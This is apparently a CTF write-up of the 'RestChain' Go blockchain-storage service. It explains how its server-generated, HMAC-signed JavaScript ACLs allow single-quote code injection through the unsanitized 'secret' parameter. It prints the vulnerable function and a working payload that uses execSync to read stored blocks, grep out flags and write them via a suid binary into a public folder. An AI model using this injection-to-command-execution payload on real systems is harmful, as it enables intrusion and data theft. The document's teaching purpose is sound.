Rating:
### Service overview
RestChain is a service for storing blocks of a private blockchain, written in Go. It provides APIs for storing and retrieving blocks, as well as supplementary APIs for generating key pairs and generating/verifying cryptographic signatures. The content of the blocks can be arbitrary blob (it actually contained flags).
The service includes access control, which allows to specify ACLs for individual blocks. There are four types of rules:
1. Always allow.
2. Always deny.
3. Allow access if the access request contains `Acl-Secret` header with a specific value (i.e. a password).
4. Allow access if the access request contains a ed25519 signature for it, generated using one of specified keys.
The access control is implemented in a strange way:
1. User performs a request to the server to generate an ACL, specifying the rule and all required parameters (password / set of allowed public keys).
2. The server generates some javascript code (!) that validates an access request, and adds HMAC signature of the code calculated using the server key.
3. When the user wants to add a block, she supplies the generated js code and the HMAC for it. The server verifies the HMAC and saves the new block.
4. When another user wants to access a stored block, the server runs the stored code in a separated nodejs process.
Even though it done in this unusual way, it doesn't leads to RCE immediately: as seen from above, js code is generated by the server, a HMAC must be provided for it to be run, and the secret key for it is unknown to the attacker.
### Vulnerability & Exploitation
The fact that the server generates and executes some js code suggests code injection, which was found by our team during the first hour. The function that generates code for password check is clearly substituting unsanitized value:
```golang
func makeAclRequireSecret(params url.Values) (string, error) {
if vs, ok := params["secret"]; !ok || len(vs) != 1 {
return "", fmt.Errorf("parameter secret must be given exactly once")
}
secret := params.Get("secret")
acl := `allowIff(httpHeader('Acl-Secret') === '` + secret + `');`
return acl, nil
}
```
This code is intended to generate javascript that checks password, like
```javascript
allowIff(httpHeader('Acl-Secret') === 'SOME_SECRET_VALUE_HERE')
```
but the value of "secret" is not sanitized, so we can use classic single quote injection and append js code to be executed.
However, exploitation was not that simple because of exfiltration problems. There were some iptables rules that prevented network connections, and even the whole service's file system seemed unwritable.
We investigated how the service itself blocks. They are stored in separate files, and the server uses suid binary `restchain-persist` to write them. This binary is owned by user `restchain-persist` which has write access to the file system. So, we constructed payload that uses this binary to grep all flags into `public/images/` subfolder, which was accessible from webroot. Final payload was:
```
'+(String(require('child_process').execSync('tail -n +1 /srv/restchain/data/blocks/*/* | grep FAUST | /srv/restchain/bin/restchain-persist /srv/restchain/data/public/images/<SOME_RANDOM_NAME>.png)))+'
```
This payload was supplied as `secret` parameter for the code generator `makeAclRequireSecret` above, and gave us MAC for the code that executes the specified command.
After the competition we found out that the `public/images/` folder allowed listing, and pcap dumps of our traffic suggest that some teams listed the folder and (probably) used the files created by our exploit. Good for them.
[PoC](https://gist.github.com/neex/2217b7913a7981eea99c2914cc081dfa#file-restchain_poc-py)